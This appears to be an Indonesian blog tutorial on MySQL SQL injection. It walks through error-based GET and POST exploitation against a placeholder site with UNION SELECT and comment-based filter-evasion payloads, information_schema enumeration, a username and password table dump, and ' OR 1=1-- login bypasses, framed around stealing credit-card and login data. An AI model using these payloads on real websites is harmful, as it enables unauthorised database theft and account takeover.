New Post

Archive

SQL INJECTION


Base SQL Injection






Base SQL Injection

well, sesuai judulnya, hack back to base, saya mengambil tema ini bertujuan untuk mengingat kembali dasar dari ilmu hacking, saya merangkumnya dari berbagai sumber dan arsip yang ada, maksudnya agar kita bisa mengingat kembali, mengulang dan sebagai sumber bacaan untuk teman-teman yang masih baru dalam dunia per-hackingan. pada dasarnya semua hal tidak lah langsung pada tahap advanced, pasti ada tahap-tahap dimana sesuatu hal itu di lakukan, mulai dari awal sampai akhir, bahkan ilmu yang ada sekalipun mempunyai sejarahnya sendiri, seperti yang telah kita ketahui ilmu itu hanya berkutat di "situ-situ" saja, artinya semua yang kita pelajari adalah ilmu yang sudah ada sebelumnya, yap... untuk itulah saya pikir back to base itu penting.

untuk sessi kali ini saya akan mencoba mengulas dasar dari SQL injection dari tahap pengenalan, pengumpulan informasi dan exploitasi dari dasar hingga sedidkit advanced, kenapa sedikit advanced ? ya karena ilmu itu berkembang, tanpa dasar yang kuat, seorang ahli sekalipun tidak akan bisa menguasai bidangnya, let's take it dive.

SQL IJNECTION

Apa sih SQL Injection itu ?
Bagaimana sih cara kerjanya ?
Apa yang bisa kita lakukuan dengan SQL injection ?

mungkin itu sebagian kecil dari pertanyaan yang ada pada sseseorang yang baru belajar hacking, dengan pertanyaan-pertanyaan itulah sebenarnya kita bisa beranjak lebih jauh, dengan mempelajari sesuatu hal dari dasar maka kita akan lebih mengerti bagaimana cara untuk mengexploitasinya.

SQL adalah Structured Query Language, merupakan bahasa standar dari RDMS (Relational Database Management System) yang digunakan untuk mengolah data dalam berbagai keperluan, data yang diolah oleh SQL ini berbentuk informasi yang di simpan dalam bentuk table, setiap table memiliki field-field terntentu untuk menyimpan data atau informasi.

Injections adalah bahasa inggris (dah pada tau) yang artinya injeksi atau menginjek atau meyisipkan sesuatu kedalam sesuatu

nah jika kita gabungkan SQL Injection adalah sebuah teknik dari banyak teknik hacking yang memungkinkan kita untuk memperoleh informasi / keuntungan dari data dan informasi yang tersimpan dalam sebuah media Storage pada RDMS yang cara kerjanya dengan menginjek atau menyisipkan bahasa SQL itu sendiri ke dalam perintah SQL yang sudah ada pada sebuah aplikasi atau sistem.

pada awal era tahun 1980-an aplikasi internet atau yang kita kenal sekarang sebagai www (world wide web) tidak menggunakan RDMS sebagai media penyimpanan Informasi mereka, pada masa itu website bersifat statis, yang artinya informasi yang ada masih belum melalui RDMS, sedangkan sejak awal tahun 1990-an aplikasi www sudah mulai menggunakan RDMS sebagai media penyimapan informasi mereka, dengan kemudahan nya RDMS bisa kombinasikan dengan berbagai bahasa (interpreter) sehingga cakupan aplikasi menjadi lebih luas, akan tetapi juga menjadi lebih rentan untuk di serang, kenapa ? ini bukan terjadi pada RDMSnya tetapi terjadi dari kesalahan si pembuat aplikasi, sehingga mengakibatkan infromasi dapat di ambil oleh orang yang tidak berhak (cracker).

nah sekarang terjawab kan ketiga pertanyaan di atas ? apa, bagaiaman dan dimana Ruang lingkup dari SQL injection itu sendiri,nah untuk itu mari kita melihat sedikit lebih dalama kedalam SQL injection itu sendiri.

SELECT * FROM kartu_kredit WHERE aktive='y' AND pemilik='indonesia'

04512-1254-1254-1241 Jl. kuburan masal NO 103 Telp ....

coba kita perhatikan structur dari SQL di atas, dimana kita meminta semua data kartu kredit yang nama pemiliknya indonesia dan masih aktive, SQL tersebut bernilai "benar" atau "true" dan hasilnya akan memunculkan informasi data kartu kredit dari si indoensia, pertanyaanya, bagaimana jika kita ingin memunculkan semua data kartu kredit tanpa berdasarkan dari pemilik ? yarp pertanyaan itu memang simple, tetapi dalam aksinya membutuhkan logika dan kesabaran, perhatikan SQL berikut :

SELECT * FROM kartu_kredit WHERE aktive='y'-- AND pemilik='indonesia'
SELECT * FROM kartu_kredit WHERE aktive='y'# AND pemilik='indonesia'

perhatikan tanda -- dan # sebelum operan AND, tanda -- dan # meurpakan salah satu tanda untuk menujukan baris komentar dalam SQL, sehingga baris sesudah tanda -- dan # tidak akan di jalankan, dengan begitu hasil dari query di atas akan menjadi seperti berikut


SELECT * FROM kartu_kredit WHERE aktive='y'

hasilnya query SQL tersebut akan menampilkan semua data kartu kredit yang masih aktive, boom!!! data yang seharusnya menjadi pemilik yang sah, kini bisa terlihat oleh orang yang tidak berhak, dengan memberikan tanda -- dan # adalah seikit dari dasar SQL injection. kesimpulanaya untuk melakukan SQL injection kita hanya perlu membuat atau memanipulasi SQL itu sendiri hingga nilaianya menjadi "BENAR" atau "TRUE"

nah bagaimana implementasi realnya ? sudah barang tentu semua tau (pasti dah pada tau) orang menyebutnya web / internet, apapun nama dari sebuah situs tetap saja di kalangan umum orang lebih mengenal dengan istilah web, oleh karena itu SQL injection merupakan salah satu dari banyak teknik "WEB HACKING"

BAGAIMANA KITA TAU KALO WEB ITU TERKENA SQL INJECTION ?

pertanyaan inilah yang muncul setelah pertanyaan ketiga di atas, tidak semua web itu bisa terkena SQL injection, bukan berarti tidak bisa di exploitasi, pada dasarnya ada dua jenis SQL injection yaitu :

1. Error Based SQL injection
2. Blind SQL injection


Error Based SQL injection seperti ini sangat mudah untuk di identifikasi, kenapa ? karena dalam aksinya akan menampilkan pesan error yang menunjukan kesalahan dari SQL itu sendiri, dan ini merupakan keuntungan besar untuk sang attacker, karena dalam pesan Error tersebut kadang-kadang mengandung informasi yang merujuk kepada sesuatu yang penting., error reporting juga merupakan informasi yang sangat penting bagi si attaker, tanya kenapa ? cari di google , berbeda dengan Blind SQL injection, jenis ini tidak menampilkan pesan error dan tidak menampilkan data atau informasi yang ada, terkdang sedikit sulit untuk melakukan Exploitasi untuk jenis Blind SQl injection, kita harus menggunakan beberapa metode seperti tebak menabak, bencmarking, sleep dan yang lainnya.

pada aplikasi web, biasanya sebauh request di kirimkan melalui url atau form, tetapi terkadang juga melalui cookies atau session, tetapi kebanyakan melalui url atau form, contoh variable yang melalui url :


http://sebuahsitus.tld/index.php?hal=1
http://sebuahsitus.tld/index.asp?cat=1&produk=25
sedangkan contoh untuk jenis form seperti berikut
<input type="text" name="nama" value="indoensia"/>
<input type="text" name="ccv" value="123"/>

untuk menguji apakah web tersebut bisa di injeksi dengan SQL injection kita harus melakukan error checking melalui form atau url, dengan memberikan karakter atau sebuah simbol ascii yang bisa mengakibatkan SQL pada RDMS memunculkan Error atau pesan kesalahan.misalnya seperti berikut

http://sebuahsitus.tld/index.php?hal=1'

<input type="text" name="ccv" value="-123"/>

perhatikan perubahan jenis variable di url dan form, terdapat penambahan karakter bukan ? ini di maksudkan untuk menguji apakah web tersebut bisa di exploitasi dengan teknik SQL injection atau tidak, jika setelah kita memberikan karakter tersebut dan mengirimkan request ke RDMS dan request tersebut di replay dengan sebuah pesan (error atau tidak) yang menunjukan kesalahan maka kita bisa memastikan bisa atau tidaknya web tersebut kita exploitasi menggunakan teknik SQL injection.

sangat banyak sekali aplikasi web yang menggunakan RDMS sebagai media storage untuk informasi mereka, misalnya Mysql, Mssql, Oracle, Portgrase dll, untuk itu kita harus mengetahuinya terlebih dahulu, jenis RDMS yang mana yang di pakai oleh web tersebut, untuk sekarang mari kita fokuskan untuk jenis Mysql, karena jenis inilah yang paling banyak di gunakan selain mssql, oracle dan Portgres.
Mysql SQL injection Error Based (GET method)

seperti yang sudah kita bahas sebelumnya untuk mengetahui bisa tidaknyaa sebuah web kita exploitasi menggunakan teknik sql injection, kita harus mengujinya terlebih dahulu, untuk itu kita memberikan karakter atau kode ascii yang bisa mengakibatkan RDMS meberikan replay pesan yang menunjukan sebuah kesalahan. misalnya kita memberikan karakter ' pada url berikut :


http://sebuahsitus.tld/index.php?hal=1'

maka peritah SQl yang terjadi seperti berikut
select * from halaman where kode=1' AND status='y'

jika setelah kita mengirimkan request tersebut kita di suguhkan dengan pesan error yang menunjukan kesalahan, itu berarti web tersebut bisa kita exploitasi dengan teknik SQL injection, setelah kita mendapatkan hasil bahwa web tersebut bisa di injeksi, maka tahapan kita selajutnya adalah mencari jumlah kolom yang ada pada field di RDMS, dengan menggunakan perintah order by di ikuti oleh tanda komentar seperti -- atau #
http://sebuahsitus.tld/index.php?hal=1 order by 10--

perintah SQl yang terjadi seperti berikut
select * from halaman where kode=1 order by 10-- AND status='y'

terlihat kan perintah di belakang tanda -- tidak akan di eksekusi / di jalanakan, karena di anggap sebagai komentar sedangkan order by 10 untuk menguji apakah kolom yang ada pada tabel halaman sebanyak 10 buah, jika saat memberikan perintah order by 10-- kita masih mendapatkan pesan error (apa saja) artinya jumlah kolom berada di bawah 10 seperti 9 atau 8 atau 7 dll, jika kita tidak mendapatkan pesan error artinya jumlah kolom di atas 10 seperti 11 atau 12 atau 13 dts, artinya kita melakukan order by sampai kita menemukan dimana kondisi dari SQL bernilai BENAR atau TRUE, misalnya seperti berikut
http://sebuahsitus.tld/index.php?hal=1 order by 10-- error
http://sebuahsitus.tld/index.php?hal=1 order by 9-- error
http://sebuahsitus.tld/index.php?hal=1 order by 8-- error
http://sebuahsitus.tld/index.php?hal=1 order by 7-- error
http://sebuahsitus.tld/index.php?hal=1 order by 6-- error
http://sebuahsitus.tld/index.php?hal=1 order by 5-- error
http://sebuahsitus.tld/index.php?hal=1 order by 4-- true

SQL bernilai TRUE pada posisi order by 4--, ini menunjukan bahwa kolom berjumlah 4, dengan begitu kita sudah menemukan jumlah kolom yang ada, tahapan selanjtnya adalah mencari tau kolom ke berapa yang bisa kita sisipi peritah SQL yang lain (awal tahun 2009 anak-anak jasakom menyebutnya angka togel), caranya tetap saja dengan memberikan perintah SQL itu sendiri,yap kita menggunakan perintah union select yang artinya kita menggabungkan hasil dari perintah SELECT, misalnya
http://sebuahsitus.tld/index.php?hal=-1 union select 1,2,3,4--

kadang - kadang dalam aksinya perintah tersebut tidak bisa berhasil, karena perintah union tidak di perbolehkan atau karena alasan lain dari system, untuk itu kita harusnya lebih kreative lagi, misalnya dengan menambahkan beberapa perintah seperti chr, atau hex atau tanda /**/ pada url injeksi kita, contohnya
http://sebuahsitus.tld/index.php?hal=-1/**/union/**/select/**/1,/**/2,/**/3,/**/4/**/--

atau seperti berikut

http://sebuahsitus.tld/index.php?hal=-1 union select unhex(hex(1)),unhex(hex(2)),unhex(hex(3)),unhex(hex(4))--
kita hanya perlu trus mencoba dan menggabungkan beberapa perintah untuk bisa menghasilkan nilai true dalam eksekusinya, jika salah satu perintah di atas berhasil, kita akan mendapatkan satu atau beberapa deret angka, angka-angka inilah yang menjadi acuan kita, misal, setelah kita memberikan perintah di atas muncul angka 2 maka posisi angka 2-lah yang bisa kita sisipi, misalnya seperti
http://sebuahsitus.tld/index.php?hal=-1 union select 1,togel,3,4--

maka di posisi angka dua tersebut kita bisa menyisipi perintah-perintah untuk tahapan selanjutnya, seperti mencari tau versi dari mysql, mencari tau nama database atau bahkan mencari tau username dari database tersebut, seperti berikut:
http://sebuahsitus.tld/index.php?hal=-1 union select 1,version(),3,4-- mencari versi
http://sebuahsitus.tld/index.php?hal=-1 union select 1,user(),3,4-- mencari user
http://sebuahsitus.tld/index.php?hal=-1 union select 1,database(),3,4-- mencari database

atau kadang-kadang bisa juga menggunakan perintah seperti berikut
http://sebuahsitus.tld/index.php?hal=-1 union select 1,@@version,3,4-- mencari versi
http://sebuahsitus.tld/index.php?hal=-1 union select 1,@@user,3,4-- mencari user
http://sebuahsitus.tld/index.php?hal=-1 union select 1,@@database,3,4-- mencari database

namun tetap saja kadang-kadang tidak sesuai harapan, perintah2 tersebut tidak ada yang menjamin bisa berhasil, tetapi kita bisa mencobanya dengan berbagai cara seperti berikut:
http://sebuahsitus.tld/index.php?hal=-1/**/union/**/select/**/1,/**/version(),/**/3,/**/4/**/--

atau
http://sebuahsitus.tld/index.php?hal=-1 union select unhex(hex(1)),unhex(hex(version())),unhex(hex(3)),unhex(hex(4))--

tetapi jika saat kita meberikan perintah union select yang muncul lebih dari satu angka seperti misalnya 2,3,4 maka itu lebih memudahkan kita untuk melakuka exploitasi, karena kolom yang di sisipi bisa 2,3 dan 4, seperti

http://sebuahsitus.tld/index.php?hal=-1 union select 1,version(),database(),user()--
atau
http://sebuahsitus.tld/index.php?hal=-1/**/union/**/select/**/1,/**/version(),/**/database(),/**/user()/**/--

atau


http://sebuahsitus.tld/index.php?hal=-1 union select unhex(hex(1)),unhex(hex(version())),unhex(hex(database())),unhex(hex(user()))--

ditahapan selajtunya, kita hanya perlu memfokuskan pada apa yang ingin kita cari, misalnya, kita membutuhkan data untuk login, atau data kartu-kredit, atau no handphone atau apa saja lah, untk itu tahap pertama kita harus mencari tau dulu nama-nama tabel yang ada, sampai di sini juga kita tetap melakukannya dengan perintah-perintah SQL itu sendiri, untk daftar perintah SQL teman2 bisa mencari referensi di mysql manual atau wekipidia agar lebih jelas,

http://sebuahsitus.tld/index.php?hal=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--

atau dengan perintah2

http://sebuahsitus.tld/index.php?hal=-1/**/union/**/select/**/1,/**/group_concat(table_name),/**/3,/**/4/**/from/**/information_schema.tables/**/where/**/table_schema=database()--

atau dengan perintah berikut

http://sebuahsitus.tld/index.php?hal=-1 union select unhex(hex(1)),unhex(hex(group_concat(table_name))),unhex(hex(3)),unhex(hex(4)) from information_schema.tables where table_schema=database()--

yang terpenting adalah membuat atau memanipulasi nilai dari SQL itu sendiri menjadi TRUE atau BENAR, so kreativitas itu diperlukan di tahap ini :),

perntah di atas akan menampilkan nama-nama table yang ada, setelah nama-nama tabel muncul, tahapan selanjutnya kita tinggal memilih nama table yang akan kita cari nama-nama dari kolomnya, agar kita bisa membaca informasi dalam table tersebut,misalnya tabelnya seperti user, log,kartu ....

http://sebuahsitus.tld/index.php?hal=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=hex(user)--

artinya kita akan mencari nama kolom atau field pada tabel user, tabel user bisa di jadikan dalam bentuk hexa atau bisa juga menggunakan perintah bawaan dari mysql yaitu dengan mengunakan perintah hex,hasilnya seperti id, username,password dll.....

setelah kita mendapatkan nama field dari table user seperti id,username,password langkah selajutnya adalah mengektrak (dump) isi dari tabel tersebut dengan perintah berikut

http://sebuahsitus.tld/index.php?hal=-1 union
select 1,group_concat(id,0x3a,username,0x3a,password),3,4 from user--

dengan perintah tersebut isi dari tabel user akan muncul dengan sendirinya, perintah eperti 0x3a merupakan pemisah dri tiap-tiap data yang di extrat 0x3a merupakan bentuk hexa dari : jadi datanya akan menjadi seperti
Code:
1:damin:admin

pada prakteknya semua cara yang saya utarakan tidaklah mutlak, terkadang orang bisa menggunakan perintah SQL yang berbeda untuk melakukan aksinya,seperti penggunaan perintah concat_ws dan group_concat atau penggunaan unhex dan hex dll. Tetapi perbedaan itu tidaklah penting, yang terpenting adalah hasil akhir dari aksi kita sendiri,



Mysql SQL injection Error Based (POST method)

jenis ini tidak lah jauh berbeda dengan jenis GET(method), bedanya hanya terletak pada nama hhehehe GET dan POST, pada dasarnya method POST berasal dari variable yang ada pada form, contohnya seperti form login atau form pencarian, cara untuk mengindetifikasinya juga sama, dengan memberikan karakter ' atau - atau karakter ascii yang bisa menghasilkan error, tetapi terkadang perbedaan terletak pada operan (operator) yang ada, jika pada login form (form login) kita bisa menggunakan perintah seperti yang telah kita uraikan di atas, yaitu menjadikan SQL itu bernilai true, seperti

1' OR 1=1--
' OR 100=100#

SQL yang terjadi akan seperti berikut

select * from user where username='1' OR 1=1-- and password='$password'
selecct * from user where username='' OR 100=100# and password='$password'

yang terpenting menjadikannya TRUE, sedangkan pada kasus yang lain, seperti form pencarian, pada form pencarian biasanya query yang terjadi pada RDMS cukup komplesk, menggunakan operan LIKE OR atau AND, kadang-kadang ini bisa menjadi masalah untuk kita, misalnya query yang ada seperti berikut

select * from mahasiswa where nim like '%123%' OR nama like '%indonesia%'

pertanyaanya bagaiaman membuat atau memanipulasi query tersebut bernilaio true ? , sebenarnya cukup simple, kita hanya perlu memanipulasi operan LIKE '% %' bernilai true, misalnya dengan perintah2 berikut pada form search

123%'#
123%'--

maka query yang terjadi adalah

select * from mahasiswa where nim like '%123%'#%' OR nama like '%indonesia%'
select * from mahasiswa where nim like '%123%'--%' OR nama like '%indonesia%'

jika kita lebih jauh mengexploitasinya tidak lah berbeda dengan GET method, hanya berbeda pada bagian depanya saja, misalnya seperti

123%' order by 4#
atau
123%' order by 4--

maka query yang terjadi seperti berikut

select * from mahasiswa where nim like '%123%' order by 4#%' OR nama like '%indonesia%'
select * from mahasiswa where nim like '%123%' order by 4--%' OR nama like '%indonesia%'

lebih advanced

select * from mahasiswa where nim like '%123%' union select 1,2,3,4#%' OR nama like '%indonesia%'

atau


select * from mahasiswa where nim like '%123%' union select unhex(hex(1)),unhex(hex(2)),unhex(hex(3)),unhex(hex(4))#%' OR nama like '%indonesia%'
atau
select * from mahasiswa where nim like '%123%'/**/union/**/select/**/1,/**/2,/**/3,/**/4#%' OR nama like '%indonesia%'

well secara garis besar itulah dasar dari semua SQL injection, memahami dasar akan sesuatu ilmu sangat penting, bahkan dengan memahami dasarnya kita bisa melakukan exploitasi yang tidak tidak bisa di exploitasi oleh tools yang ada, tools buatan manusia, sudah barang tentu manusia jauh lebih baik daripada tools ciptaanya :)

sekian dulu hack bak to base kali ini...

happy learning and happy reading